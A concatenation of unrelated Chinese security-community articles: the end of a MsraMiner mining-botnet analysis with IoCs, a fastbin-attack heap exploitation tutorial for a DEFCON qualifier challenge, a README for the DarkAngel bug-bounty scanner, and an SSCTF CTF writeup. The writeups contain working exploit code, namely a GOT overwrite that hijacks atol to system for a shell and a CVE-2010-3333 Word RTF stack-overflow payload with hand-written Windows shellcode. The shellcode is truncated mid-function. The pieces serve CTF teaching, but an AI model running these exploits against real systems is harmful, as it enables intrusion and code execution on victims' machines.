因为终端电脑一般并不在互联网上提供服务，一般的漏洞攻击难以直接通过网络漏洞控制用户的终端电脑，针对用户终端的攻击方式多是通过钓鱼和网页挂马的形式来进行漏洞攻击，进而控制用户终端形成反弹链接；而该样本的攻击方式比较隐蔽和巧妙。既利用了白名单的终端应用程序逃避检测，也成功将终端暴露在攻击者可以利用的隧道中。通过隧道网络直接攻击终端暴露的服务，一旦有漏洞就可以进行控制并植入后门。
这种在供应链上游劫持节点传播恶意代码的做法与一般的僵尸网络并不相同，后者进行传播方式主要是主动的端口扫描，而前者则很大程度上仅需要依靠被动的VPN连接即可完成对目标的甄选过程，虽然传播范围很大程度上决定于加速器的用户分布，但相对来说，目标群体也更加集中。
通过本次事件，我们可以看到，仍有攻击者利用永恒之蓝漏洞进行恶意攻击活动，这使我们深刻的认识到企业安装杀毒软件及对类似永恒之蓝漏洞及时修复的重要性。而且从MsraMiner家族的版本迭代过程来说，这个家族在这段时间内，还相当活跃。所以，要做好网络安全防护工作，对于已经公开一段时间的网络武器也不能疏于防范，因为我们永远不能预知攻击者会用一种如何新颖的利用方式，让过往的武器发挥作用。
## 附录
1. IoC
task[.]attendecr.com
tecate[.]traduires.com
sand[.]lcones.com
plam[.]lcones.com
106.3.xxx.18
{F5175396-40C2-0218-278D6EE}
{E2088B81F-2A96-43E8-B9F522B}
{5EC0AC33D-E23D-C8A2-A92C833}
{CI59C45E-F19A-Z07C-565B17CO}
{6B2089804-F412-CB72-7C027E6}
{3EC1AC33D-E55D-C8A2-A92C822}
{N33821F9E-F215-34AA-721269D}
{F86E2D648-EF7B-6054-D43FC41}
2. 参考链接
[1] MsraMiner: 潜伏已久的挖矿僵尸网络——360安全研究院对MsraMiner家族的梳理
<http://blog.netlab.360.com/msraminer-qian-fu-yi-jiu-de-wa-kuang-jiang-shi-wang-luo/>
[2] xmirg miner开源代码
<https://github.com/xmrig/xmrig>
[3]此前研究人员对类似行为样本的分析报告
<http://www.freebuf.com/articles/system/172307.html>
审核人：yiwang 编辑：边边 | 社区文章 |
# 【技术分享】Linux堆溢出之Fastbin Attack实例详解
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
v
作者：[Elph](http://bobao.360.cn/member/contribute?uid=404360756)
预估稿费：400RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**1\. 摘要**
在近几年各大CTF比赛中，看到有很多次pwn类别题中出现 **fastbin攻击** 的情况，例如今年的defcon，RCTF，胖哈勃杯，0CTF
final等等 ，fastbin
attack是堆漏洞利用中十分常用、易用且有效的一种攻击方式，在网上的中文资料中，对其原理上进行讲述的文章有一些，但详细讲述如何实际利用的完整例子较少，本文将对该利用方式进行简要原理性阐述，并结合今年Defcon预选赛中的一个实例演示一下具体利用过程，以及一些需要注意的地方。
**2\. Linux 堆管理策略**
glibc中对堆的管理使用的是ptmalloc，这种方式以chunk为单位管理堆内存，在物理上使用隐式堆管理结构对堆块进行管理，在逻辑结构上采用显式的双向链表结构对已free的堆块进行管理。关于此部分内容如有不清晰之处推荐阅读《Linux堆内存管理深入分析（上/下）》，在此不再赘述。
本文的重点在于libc对fastbin的管理与操作，其策略具有以下几个特点：首先它并不采用双向链接，而采用单向链表结构，也即chunk结构中fd，bk两个指针只用到的fd指针；在进行堆分配时，采用FILO的顺序从fastbin链表中取下堆块，因此其unlink操作没有unsorted
bins那么复杂；如果malloc与free的size未超过某个阈值，则不会触发malloc_consolidate，即free后的fastbin堆块不与相邻堆块进行融合。
由于Linux为了效率而对fastbin管理的验证稍加放松，就导致它拥有一些相对简单的攻击方式。如果我们可以覆盖某个fastbin的堆头，将其fd指向任意地址，下次再申请两次，就可以将这个地址申请回来，这便是最基本的fastbin
attack。除此之外对于fastbin还存在double free，house of spirit等攻击方式。
**3\. Defcon Qualifier 之 Badint**
**3.1 简介**
此题是Defcon预选赛的一道pwn题，最后解出的队伍不算太多，算是比赛时一道分值比较高的题。前几天legitbs将Defcon预选赛的源码与二进制文件公开在了github上，需者可以自取[https://github.com/legitbs/quals-2017/tree/master/babyint](https://github.com/legitbs/quals-2017/tree/master/babyint)。
以下我们先从其功能开始分析、而后分析它的漏洞点、并一步一步拿到此服务的shell。
**3.2 程序功能逆向分析**
拿到二进制之后首先需要对其进行简单的功能性的分析。包括动态跑一下以及使用IDA静态分析弄清楚程序是干什么的。
此题程序功能可看成是模拟协议数据单元（PDU）的传输与重组，每轮循环需要我们输入seq_num , offset ,
pdu_data，这三者可组成一个segment，然后提示输入yes/no以选择是否进行segment的重组。示例输入与运行如下图：
对于data部分数据只能输入[a-fA-F0-9]，程序在接收到data之后，将它们保存在栈上的一段缓冲区上，然后对将其进行一处unhex操作，将我们输入的12345678变成0x12
0x34 0x56 0x78并保存在从堆上分配的内存中，因而在这个操作中从堆上分配的空间大小为我们输入的字符串长度的1/2。
对于相同seq_num的Data，该程序会将它们保存在一个segmentData结构体中，并通过一个双向链表将其链起来。在选择Assemble之后，按照输入的offset将每一个seg中的data使用memncpy进行组合，然后将之打印输出。
以上即为程序所大概实现的功能。当然现在逆向的过程可以结合上面链接中的github源代码进行分析，这样可相互印证。
**3.3 漏洞点**
本程序可以说一共有三个漏洞点。第一个是一个Memory Leak（不是info
leak）。通常做pwn题的时候我们需要关注程序明显不太正常的逻辑，因为这些有可能是出题人觉得不好做特意提供便利的地方或是设置漏洞的地方。
在程序将输入的data
unhex之后，先将其保存到了堆上size为len/2大小的堆块上，而在创建segment的时候，又将此数据重新使用memncpy拷贝到了另一个新malloc出来的堆块之中。在选择重组该sequence之时，并未对新malloc的这块地址进行free，导致留下一个memory
Leak，因而在多进行几个之后，堆块上将留下很多坑。而实际上并没有必要进行第二次malloc操作，这部分是完全多余的。
实际上这是为了方便fastbin在free之后不与top chunk融合而故意设置的，当然该操作也增加了堆布局的复杂度。
第二个漏洞发生在重组之时，对于seq_num相同的segments，程序会通过遍历将它们的data_ptr进行一一取出，并按照offset的值进行组合。在这个过程中程序未对offset的合法性进行校验,如下图：
以我们刚才的输入为例，假如在第二次输入deadbeaf之时，将offset设为了8，或者更大的数值，就会造成越界写，将后面的内容覆盖掉。在我们完全掌握了堆的分配之后，便可以指定算好的offset，利用这个漏洞向指定的堆块写入想要写入的值了。
第三个漏洞点同样在这段代码中，程序没有对这块存放重组后数据的堆块进行初始化，而后面会将这段缓冲区的内容经过printf输出出来，如果其中有些敏感数据，就可以被用来做信息泄露。后文的漏洞利用过程中也正用到了这个漏洞点。
**3.4 程序的堆操作**
以输入seq_num=0, Offset=0, Data=deadbeaf为例，堆的malloc与free操作应当如下：
1\. data1 = malloc(4)# len("deadbeaf")=8, 在unhex函数中为data1分配内存
2\. segment_ptr = malloc(0x28) # 创建segment结构体
3\. data2 = malloc(4+1)#
为data2分配内存，然后将data1使用memcpy拷贝过去，再在segment结构体中保存data2的位置
4\. free(data1)
5\. total_data = malloc(4) # 确认重组，为总的数据分配足够容纳所有data的堆块，在这个例子中就是4
6\. free(segment_ptr)
7\. free(total_data)
以更直观的图表示在完成上述七个过程之后的堆块如下：
需要注意由于堆分配时的对齐操作，在malloc(4)时它仍然会返回一个size为0x20大小的chunk，在malloc(0x28)时会返回一个0x30大小的chunk，这两者在free之后会被放到fastbins链表下。
其中0x61ac70-0x61ac90为data2的地址，由于未被free因而造成内存泄露，但是如果它被free了，那么就不会有上面的0x20、0x30的fastbin了，它们会全部与top
chunk进行融合。
在这个过程中，可以发现total_data与data1所申请的地址是一样的，两者复用了0x61ac20，注意到这点很重要。
**3.5 漏洞利用**
接下来是如何通过这些漏洞去拿到shell。这是我们的最终目的，前面那些都是分析的基础。
对于本程序而言，我们可以想办法劫持控制流执行system("sh")来拿shell。由于可以通过输入控制堆块的大小，也存在溢出漏洞，因而实施fastbin
attack是相当方便的，实际利用的时候可以有几种思路：覆盖got表劫持控制流；覆盖栈上函数返回地址，然后ROP劫持控制流；
覆盖malloc_hook、覆盖_IO_FILE等方式劫持控制流。由于本题并没有开FULL
RELRO，因而可以考虑直观地覆盖got表中的内容，例如将atol改成system的地址，等到下一次触发atol且参数可控时，便可达到任意命令执行。
上面说的只是理论的利用方法，实际中需要的问题则可以归纳为“Write What Where”,where这个问题上面已经回答了，接下来解决what。
向GOT表中写system的地址首先需要知道system的地址是什么。这时候就需要一个信息泄露漏洞来将libc的基址泄露出来。
在本例子中，可以利用unsorted bin
attack来泄露libc的指针，在第一次free一个大于0x80的堆块时，linux会将其加入unsorted
bins链表中，并向其fd与bk处填入libc中的指针值。由于重组之后程序会将total_data采用十六进制的形式打印出来，加之上面提到total_data在与我们输入的data1大小一致时，会重新申请到data1的地址，且并进行初始化操作，如果我们发送的请求中offset等于或大于8，那么memcpy时data1中fd与bk指针就不会被覆盖，在进行print时，就可以将这个指向libc的值泄露出来，我们就可以拿到泄露出的信息。
如下，调试时可以看到data1 free后的情况：
至此我们便拿到了main_arena+88的值，拿该值减掉main_arena+88在libc中的偏移，便可以得到libc的基址。
在泄露完之后堆的分布是这样的：
为了达成fastbin
attack，我们需要将某个fastbin的fd指针覆盖为我们可以控制的地址，因而需要继续操作上面的堆。当申请size小于0x80的chunk之时，malloc会先从fastbins中找，如果没有找到合适的，就去unsorted
bins中找。例如，如果我们申请一个0x20的chunk，那么堆上0x90的unsorted bin就会被切分掉0x20大小，变成为一个0x70大小的堆块。
按照这些规则，如果我们发送下面这两个请求
new_pdu(0, 0, "AA"*0x10, True)
new_pdu(0, 0, "BB"*0x30, True)
堆块就会被分为下面这个图的形式。（中间过程请读者自行按照3.3中的规则去画）
而在调试时可以发现，实际中堆布局并不如此，libc还有一个细节，在malloc(0x30)时，先发现0x40大小的fastbin是空的，继而去寻找unsorted
bins，发现其中有一个0x50大小的chunk，本应该切分0x40的部分给malloc的返回值，而由于剩下的0x10大小会变成一个碎片，因而libc的策略是直接将这0x50的空间全部返回给申请者。因而实际上在进行上述两个new_pdu操作后，堆分布如下：
调试状态中可以看到的确如此，
至此我们已经成功地在0x40大小的fastbins中成功留下了一个堆块，我们千方百计达成此目的，因为libc在对fastbin的管理中还有一次检查操作，在从0x40大小的fastbin链表中取出堆块时，如果检测到该堆块的size不为0x40-0x4f,则会失败退出，因而我们覆盖的时候随便填一个值是不可行的,必须是伪造好size值的堆块，而在got表中，没有被resolve的函数地址所保存的值为plt表的地址，即0x40xxxx，经过指令对齐操作，便可以将其变成0x00000040，此时内存中便有一个DWORD的值为0x40，可用此绕过libc的检测。此处需注意libc的检查只需要满足低32位是0x4x即可，高32位即使有值也可以通过检查。
直接查看got表中0x604018的地址时，可得其中的值如下：
但是在手动将其值调整一下时，可以得到这样的结果：
在0x60404a处存储的值即为0x40。接着发送构造好的payload：
new_pdu(0, 0, "AA"*0x10, True)
new_pdu(0, 0, "BB"*0x30, True)
fake_fd = convert(0x604042) #0x60404a is 0xxxx00000000040 , 0x604042->size=0x40
offset = 0x61adb0-0x61ac20
new_pdu(0, offset, fake_fd, True)
这段代码可以将上面构造的0x61adb0处fastbin的fd覆盖掉成0x60404a-8，下次申请两次，即可申请到这个伪造的堆块。此处需要减8，是因为在64位系统下，libc在取chunk->size的值时，实际上是进行的+8操作。
最后（终于到了最后），我们申请两次0x40大小的串即可向got表(0x60404a+8)。在写的过程中，可以选择将atol函数覆盖为任意地址，比如，system函数的地址。那么下次再输入seq_num等值时，就会触发system("your
input")，从而达到任意命令执行的效果。这里需要注意为了使程序运行正常，需要先把got表中已经resolve的地方给换回去，换成plt表中相应的地址，关于这部分的内容可阅读《Linux中的GOT和PLT到底是个啥？》，英文原文《PLT
and GOT – the key to code sharing and dynamic libraries》。
payload = "66"*6 # libc_start_main
payload += convert(0x400b26) # resolve fgets 0x400b26
payload += convert(0x400b36) # resolve strlen 0x400b36
payload += convert(libc_base + libc.symbols['system']) # hijack atol
payload = payload.ljust(0x60, '0')
new_pdu(0, 0, payload , False ) # payload
至此已经成功地将atol函数替换成了system的地址，接着，只需要再send("sh")，即可get shell。
io.sendlineafter("SEQ #:", "sh")
**4\. 总结**
本文所涉及的题目及exp代码已上传至云盘http://pan.baidu.com/s/1dE6wxXn 密码: w22h，若有不当之处恳请斧正。 | 社区文章 |
* * *
DarkAngel 是一款全自动白帽漏洞扫描器，从hackerone、bugcrowd资产监听到漏洞报告生成、企业微信通知。
DarkAngel
下载地址：[github.com/Bywalks/DarkAngel](https://github.com/Bywalks/DarkAngel)
当前已支持的功能：
* hackerone资产监听；
* bugcrowd资产监听；
* 自定义资产添加；
* 子域名扫描；
* 网站指纹识别；
* 漏洞扫描；
* 漏洞报告自动生成；
* 企业微信通知扫描结果；
* 前端显示扫描结果；
## 自动生成漏洞报告
自动生成漏洞报告 - MarkDown格式 - 存放地址/root/darkangel/vulscan/results/report
支持自添加漏洞报告模板，目前已添加漏洞报告模板如下，漏洞名配置为nuclei模板文件名即可
自定义漏洞报告模板格式
## 企业微信通知
可先查看如何获取配置：[企业微信开发接口文档](https://developer.work.weixin.qq.com/document/path/90487)
获取参数后，在/root/darkangel/vconfig/config.ini中配置参数，即可启用企业微信通知
微信通知 - 漏洞结果
微信通知 - 扫描进程
## 安装
整体项目架构ES+Kibana+扫描器，所以安装需要三个部分
ES镜像：
拉取ES镜像
docker pull bywalkss/darkangel:es7.9.3
部署ES镜像
docker run -e ES_JAVA_OPTS="-Xms1024m -Xms1024m" -d -p 9200:9200 -p 9300:9300 --name elasticsearch elasticsearch:7.9.3
查看日志
docker logs -f elasticsearch
出现问题，执行命令
sysctl -w vm.max_map_count=262144
重启docker
docker start elasticsearch
Kibana镜像：
拉取Kibana镜像
docker pull bywalkss/darkangel:kibana7.9.3
部署Kibana镜像（修改一下es-ip）
docker run --name kibana -e ELASTICSEARCH_URL=http://es-ip:9200 -p 5601:5601 -d docker.io/bywalkss/darkangel:kibana7.9.3
查看日志
docker logs -f elasticsearch
出现问题，执行命令
sysctl -w vm.max_map_count=262144
重启docker
docker start elasticsearch
扫描器镜像：
拉取扫描器镜像
docker pull bywalkss/darkangel:v1
部署扫描器
docker run -it -d -v /root/darkangel:/root/darkangel --name darkangel bywalkss/darkangel:v1
docker容器内挂载目录无权限
运行容器时：--privileged=true
## 用法
usage: [-h] [--scan-new-domain]
[--add-domain-and-scan ADD_DOMAIN_AND_SCAN [ADD_DOMAIN_AND_SCAN ...]]
[--offer-bounty {yes,no}] [--nuclei-file-scan]
[--nuclei-file-scan-by-new-temp NUCLEI_FILE_SCAN_BY_NEW_TEMP]
[--nuclei-file-scan-by-new-add-temp NUCLEI_FILE_SCAN_BY_NEW_ADD_TEMP]
[--nuclei-file-scan-by-temp-name NUCLEI_FILE_SCAN_BY_TEMP_NAME]
[--nuclei-file-polling-scan] [--delete]
DarkAngel is a white hat scanner. Every user makes the Internet more secure.
--------------------------------------------------------------------------------
optional arguments:
-h, --help show this help message and exit
--scan-new-domain scan new domain from h1 and bc
--add-domain-and-scan ADD_DOMAIN_AND_SCAN [ADD_DOMAIN_AND_SCAN ...]
scan new domain from h1 and bc
--offer-bounty {yes,no}
set add domain is bounty or no bounty
--nuclei-file-scan scan new domain from h1 and bc
--nuclei-file-scan-by-new-temp NUCLEI_FILE_SCAN_BY_NEW_TEMP
use new template scan five file by nuclei
--nuclei-file-scan-by-new-add-temp NUCLEI_FILE_SCAN_BY_NEW_ADD_TEMP
add new template scan five file by nuclei
--nuclei-file-scan-by-temp-name NUCLEI_FILE_SCAN_BY_TEMP_NAME
use template scan five file by nuclei
--nuclei-file-polling-scan
five file polling scan by nuclei
### \--scan-new-domain
`$ python3 darkangel.py --scan-new-domain`
* 监听hackerone和bugcrowd域名并进行扫描（第一次使用时会把hackerone和bugcrowd域名全部添加进去，资产过多的情况下做好准备，扫描时间很长）
### \--add-domain-and-scan
`$ python3 darkangel.py --add-domain-and-scan program-file-name1 program-file-name2 --offer-bounty yes/no`
* 自定义添加扫描域名，并对这些域名进行漏洞扫描
* 文件名为厂商名称，文件内存放需扫描域名
* 需提供--offer-bounty参数，设置域名是否提供赏金
扫描结束后，会把子域名结果存在在/root/darkangel/vulscan/results/urls目录，按照是否提供赏金分别存放在，bounty_temp_urls_output.txt、nobounty_temp_urls_output.txt文件内
### \--nuclei-file-scan
`$ python3 darkangel.py --nuclei-file-scan`
* 用nuclei扫描20个url文件
url列表存放位置
### \--nuclei-file-polling-scan
`$ python3 darkangel.py --nuclei-file-polling-scan`
* 轮询用nuclei扫描20个url文件，可把该进程放在后台，轮询扫描，监听是否url列表是否存在新漏洞出现
### \--nuclei-file-scan-by-new-temp
`$ python3 darkangel.py --nuclei-file-scan-by-new-temp nuclei-template-version`
* 监听nuclei-template更新，当更新时，对url列表进行扫描
当前nuclei-template版本为9.3.1
执行命令，监听9.3.2版本更新
企业微信通知
url列表存放位置
### \--nuclei-file-scan-by-new-add-temp
`$ python3 darkangel.py --nuclei-file-scan-by-new-add-temp nuclei-template-id`
* 监听nuclei单template更新，当更新时，用该template对url列表进行扫描，这里是打了个时间差，某些时候先提交tempalte，验证后才会加入nuclei模板，在还未加入时，我们已经监听并进行扫描，扫描后id会自动增加，监听并进行扫描
查看nuclei单template的id，这里为6296
执行命令，对该template进行扫描
url列表存放位置
### \--nuclei-file-scan-by-temp-name
`$ python3 darkangel.py --nuclei-file-scan-by-temp-name nuclei-template-name`
* 用单template对url列表进行扫描
## 结果显示
前端 - 扫描厂商
前端 - 扫描域名
前端 - 扫描结果
微信通知 - 扫描进程
微信通知 - 漏洞结果
## 注意事项
* 本工具仅用于合法合规用途，严禁用于违法违规用途。 | 社区文章 |
# 【CTF 攻略】第三届 SSCTF 全国网络安全大赛—线上赛 Writeup
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[ **FlappyPig**](http://bobao.360.cn/member/contribute?uid=1184812799)
预估稿费：600RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**传送门**
[**第三届 SSCTF 全国网络安全大赛—线上赛圆满结束！**](http://bobao.360.cn/ctf/activity/421.html)
2017年5月6日-7日，在陕西省互联网信息办公室、陕西省通信管理局指导下，由陕西省网络安全信息协会、西安四叶草信息技术有限公司与北京兰云科技有限公司联合主办，17家大型互联网行业的SRC和14家专业媒体以及新华网、新浪网、搜狐网、凤凰网、陕西网等20多家媒体的大力支持下，第三届SSCTF全国网络安全大赛—线上初赛圆满结束。
**逆向分析**
**apk100 加密勒索软件**
题目是一个简单的加密软件，一打开软件首先提示输入pin码，点确定后提示输入解密pin码。
进入查看代码，发现第一步会首先计算APK的签名，并将签名与一个MD5做一些乱七八糟的运算得到一个字符数组k1，这里我们不管他，直接使用jeb2动态调试拿到计算完成后的k1结果。
随后会结合我们输入的pin码与k1做一个两层循环的异或运算得到一个新的k1变量。
最后利用这个新的变量对xlsx文件进行一个加密，加密的原理是xlsx文件的每256个字节与k1的相应量做异或。
第二部的解密代码看了看啥也没有，就是验证了一下签名。
思考了一下由于pin码是六位整数，因此可以直接爆破。爆破过程中可以利用zipfile模块的is_zipfile函数来判断是不是zip文件，利用openpyxl模块来判断是不是合法的xlsx文件，同时为了加快速度，优先判断解密后的字符串开头是否为“PK”。
代码：
from zipfile import is_zipfile
from openpyxl import load_workbook
import StringIO
def getk(key):
k = [50, 105, 20, 75, 40, 45, 1, 15, 98, 17, 68, 35, 38, 30, 8, 0, 76, 65, 46, 35, 23, 5, 120, 55, 90, 41, 60, 20,
30, 117, 50, 87, 20, 57, 108, 27, 78, 61, 80, 8]
for i in range(100):
for j in range(100):
k[(i + 17) * (j + 5) % len(k)] = (k[i * j % len(k)] ^ ord(key[i * j % len(key)]) * 7) % 127
return k
enc_str = open('ctf1_encode.xlsx', 'rb').read()
enc_list = [ord(i) for i in enc_str]
def run():
magic = enc_list[0] ^ ord('P')
for key in xrange(100000, 1000000):
k = getk(str(key))
if k[0] == magic:
l = list(enc_list)
for j in range(0, len(l), 256):
l[j] ^= k[j % len(k)]
s = StringIO.StringIO(''.join([chr(i) for i in l]))
if is_zipfile(s):
print key
try:
load_workbook(s)
print 'got it', key
open('tmp.xlsx', 'wb').write(''.join([chr(i) for i in l]))
return
except:
continue
run()
# key = 112355
最后得出来可以是112355，打开xlsx文件是一个图片标注着flag
**apk200 Login**
本题运行apk界面为一个输入框和确定按钮，用jeb反编译，查看关键代码逻辑
可以看出输入字符串长度为12，输入的字符串传入native函数中处理，然后传到a.a方法中，跟进看一下a.a方法，
可以看出该方法主要将处理过的输入字符串和一个字符串常量“01635e6c5f2378255f27356c11663165”进行aes加密后，进行一些异或运算，最后似的变量v0的md5为“cfcd208495d565ef66e7dff9f98764da”，md5查了一下是0，也就是说v0最后的值是0，分析一下代码可以发现，v0只有相加的操作，同时相加的值是两个aes加密结果的异或，因此不难推断出两个aes加密的结果是相同的。
也就是说native层处理完后的输入正好是“01635e6c5f2378255f27356c11663165”，因此加密的主要关注点在native层函数。
Native层函数逻辑比较简单，主要是把输入的每个字符按不同的位进行拆分，拆分后的结果作为一个数组的索引，再把数组的值拼接起来。具体的看代码吧，加解密都实现了。
L = "!:#$%&()+-*/`~_[]{}?<>,.@^abcdefghijklmnopqrstuvwxyz012345678"
L = [ord(i) for i in L]
def enc(s):
assert len(s) == 12
l = [ord(i) for i in s]
r = []
for i in range(0, len(l), 3):
r.append(L[
l[i] >> 2
]
^ 0x3f)
r.append(L[
(
l[i + 1] >> 4
)
+
(
(l[i] << 4)
& 0x3f
)
] ^ 0xf)
r.append(L[
(
(l[i + 1] << 2)
& 0x3f
)
+ (
l[i + 2] >> 6
)
])
r.append(L[
l[i + 2] & 0x3f
])
print r
return ''.join([chr(i) for i in r])
s = enc('0123456789ab')
# print s
print len(s)
print s.encode('hex')
def dec(s):
def index(j):
return L.index(j)
l = [ord(i) for i in s]
r = []
for i in range(0, len(l), 4):
r.append(
(
(index(l[i] ^ 0x3f) << 2) & 0xff
) +
(
index(l[i + 1] ^ 0xf) >> 4
)
)
r.append(
(
(index(l[i + 1] ^ 0xf) << 4) & 0xff
) +
(
index(l[i + 2]) >> 2
)
)
r.append(
(
(index(l[i + 2]) << 6) & 0xff
) +
index(l[i + 3])
)
print r
return ''.join([chr(i) for i in r])
print dec(s)
print dec('01635e6c5f2378255f27356c11663165'.decode('hex'))
最后接触的密钥为VVe1lD0ne^-^
输入并点击确定后拿到flag：SSCTF{C0ngraTu1ationS!}
**漏洞挖掘**
**Pwn150 Word2003**
分析：
漏洞cve20103333，详细的漏洞分析网上已经有了，是个栈溢出漏洞，网址如下：
<http://www.52pojie.cn/thread-290299-1-1.html>
代码如下：
{rtf1{}{shp{*shpinst{sp{sv1;1;41414141414142424242414141414141414141414141414141411245fa7f00000000000000000000000000000000000000009090909090909090}{sn pfragments}}}}}
只要在90909090后面跟shellcode即可，于是编写windows下面的shellcode，步骤如下：
1\. 获取kernel32基址
2\. 获取loadlibrary和Getprocaddress地址，参考：http://www.2cto.com/kf/201012/80340.html
3\. 获取文件读写函数地址，fopen，fread，fclose
4．获取malloc地址和messagebox地址
5．读取文件，调用messagebox显示。
其中c盘创建文件内容为随机字符:12k3nihdpi-1234。
C代码如下：编译时去掉栈保护，即可使用自输出函数数据：
/*
void *get_kernel32_base()
{
__asm
{
push ebp
xor ecx,ecx
mov esi,fs:0x30
mov esi, [esi + 0x0C];
mov esi, [esi + 0x1C];
next_module:
mov ebp, [esi + 0x08];
mov edi, [esi + 0x20];
mov esi, [esi];
cmp [edi + 12*2],cl
jne next_module
mov edi,ebp;BaseAddr of Kernel32.dll
mov eax, edi
pop ebp
}
}
*/
#include <stdio.h>
#include <windows.h>
void ShellcodeEntry();
#define KERNEL32_HASH 0x000d4e88
#define KERNEL32_LOADLIBRARYA_HASH 0x000d5786
#define KERNEL32_GETPROCADDRESSA_HASH 0x00348bfa
typedef HMODULE (WINAPI *pLoadLibraryA)(LPCTSTR lpFileName);
typedef FARPROC (WINAPI *pGetProcAddressA)(HMODULE hModule, LPCTSTR lpProcName);
void ShellCodeStart(void)
{
ShellcodeEntry();
}
void ResolvAddr(pLoadLibraryA *pfLoadLibraryA,pGetProcAddressA *pfGetProcAddressA)
{
pLoadLibraryA fLoadLibraryA;
pGetProcAddressA fGetProcAddressA;
//获?取¨?API函¡¥数ºy地Ì?址¡¤代䨲码?出?自Á?The Shellcoders Handbook一°?书º¨¦
//支¡ì持?win 2k/NT/xp/7其?它¨¹没?测a试º?
__asm
{
push KERNEL32_LOADLIBRARYA_HASH
push KERNEL32_HASH
call ResolvFuncAddr
mov fLoadLibraryA, eax
push KERNEL32_GETPROCADDRESSA_HASH
push KERNEL32_HASH
call ResolvFuncAddr
mov fGetProcAddressA, eax
jmp totheend
ResolvFuncAddr:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ecx
push fs:[0x30]
pop eax
mov eax, [eax+0x0c]
mov ecx, [eax+0x0c]
next_module:
mov edx, [ecx]
mov eax, [ecx+0x30]
push 0x02
mov edi, [ebp+0x08]
push edi
push eax
call hashit
test eax, eax
jz foundmodule
mov ecx, edx
jmp next_module
foundmodule:
mov eax, [ecx+0x18]
push eax
mov ebx, [eax+0x3c]
add eax, ebx
mov ebx, [eax+0x78]
pop eax
push eax
add ebx, eax
mov ecx, [ebx+28]
mov edx, [ebx+32]
mov ebx, [ebx+36]
add ecx, eax
add edx, eax
add ebx, eax
find_procedure:
mov esi, [edx]
pop eax
push eax
add esi, eax
push 1
push [ebp+12]
push esi
call hashit
test eax, eax
jz found_procedure
add edx, 4
add ebx, 2
jmp find_procedure
found_procedure:
pop eax
xor edx, edx
mov dx, [ebx]
shl edx, 2
add ecx, edx
add eax, [ecx]
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x08
hashit:
push ebp
mov ebp, esp
push ecx
push ebx
push edx
xor ecx,ecx
xor ebx,ebx
xor edx,edx
mov eax, [ebp+0x08]
hashloop:
mov dl, [eax]
or dl, 0x60
add ebx, edx
shl ebx, 0x01
add eax, [ebp+16]
mov cl, [eax]
test cl, cl
loopnz hashloop
xor eax, eax
mov ecx, [ebp+12]
cmp ebx, ecx
jz donehash
inc eax
donehash:
pop edx
pop ebx
pop ecx
mov esp, ebp
pop ebp
ret 12
totheend:
}
*pfLoadLibraryA = fLoadLibraryA;
*pfGetProcAddressA = fGetProcAddressA;
}
typedef int (WINAPI *pMessageBoxA)(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType);
typedef FILE* (__cdecl *pfopen)(const char * path,const char * mode);
typedef size_t (__cdecl * pfread)( void *buffer, size_t size, size_t count, FILE *stream);
typedef int (__cdecl * pfseek)(FILE *stream, long offset, int fromwhere);
typedef long int (__cdecl *pftell)( FILE * stream );
typedef int (__cdecl * pfclose)(FILE *stream);
typedef void* (__cdecl * pmalloc)(size_t size);
void fmemset(void *dest, char ch, int size)
{
int i;
for (i = 0; i < size; i++)
{
((char *)dest)[i] = ch;
}
}
void ShellcodeEntry()
{
pLoadLibraryA fLoadLibraryA;
pGetProcAddressA fGetProcAddressA;
ResolvAddr(&(fLoadLibraryA), &(fGetProcAddressA));
int val_User32_dll[3];
val_User32_dll[0] = 0x72657355;
val_User32_dll[1] = 0x642e3233;
val_User32_dll[2] = 0x6c6c;
int val_MessageBoxA[3];
val_MessageBoxA[0] = 0x7373654d;
val_MessageBoxA[1] = 0x42656761;
val_MessageBoxA[2] = 0x41786f;
int val_msvcrt_dll[3];
val_msvcrt_dll[0] = 0x6376736d;
val_msvcrt_dll[1] = 0x642e7472;
val_msvcrt_dll[2] = 0x6c6c;
int val_fopen[2];
val_fopen[0] = 0x65706f66;
val_fopen[1] = 0x6e;
int val_fread[2];
val_fread[0] = 0x61657266;
val_fread[1] = 0x64;
int val_fseek[2];
val_fseek[0] = 0x65657366;
val_fseek[1] = 0x6b;
int val_ftell[2];
val_ftell[0] = 0x6c657466;
val_ftell[1] = 0x6c;
int val_fclose[2];
val_fclose[0] = 0x6f6c6366;
val_fclose[1] = 0x6573;
int val_malloc[2];
val_malloc[0] = 0x6c6c616d;
val_malloc[1] = 0x636f;
int val_SSCTF2017[3];
val_SSCTF2017[0] = 0x54435353;
val_SSCTF2017[1] = 0x31303246;
val_SSCTF2017[2] = 0x37;
int val_c_flag_txt[3];
val_c_flag_txt[0] = 0x665c3a63;
val_c_flag_txt[1] = 0x2e67616c;
val_c_flag_txt[2] = 0x747874;
int val_rb[1];
val_rb[0] = 0x6272;
HMODULE User32;
pMessageBoxA fMessageBoxA;
User32 = fLoadLibraryA((char *)val_User32_dll);
fMessageBoxA = (pMessageBoxA)fGetProcAddressA(User32, (char *)val_MessageBoxA);
HMODULE Msvcrt;
long int fz;
pfopen ffopen;
pfread ffread;
pfseek ffseek;
pftell fftell;
pfclose ffclose;
pmalloc fmalloc;
Msvcrt = fLoadLibraryA((char *)val_msvcrt_dll);
ffopen = (pfopen)fGetProcAddressA(Msvcrt,(char *)val_fopen);
ffread = (pfread)fGetProcAddressA(Msvcrt, (char *)val_fread);
ffseek = (pfseek)fGetProcAddressA(Msvcrt,(char *)val_fseek);
fftell = (pftell)fGetProcAddressA(Msvcrt, (char *)val_ftell);
ffclose = (pfclose)fGetProcAddressA(Msvcrt, (char *)val_fclose);
fmalloc = (pmalloc)fGetProcAddressA(Msvcrt, (char *)val_malloc);
char* Title = (char *)val_SSCTF2017;
char* filename = (char *)val_c_flag_txt;
char *mode = (char *)val_rb;
char *buff;
FILE *fp = ffopen(filename, mode);
ffseek(fp, 0, SEEK_END);
fz = fftell(fp);
ffseek(fp, 0, SEEK_SET);
buff = (char *)fmalloc(fz + 1);
ffread(buff, 1, fz, fp);
ffclose(fp);
int i;
for (i = 0; i < fz; i++)
{
buff[i] ^= 0xcc;
}
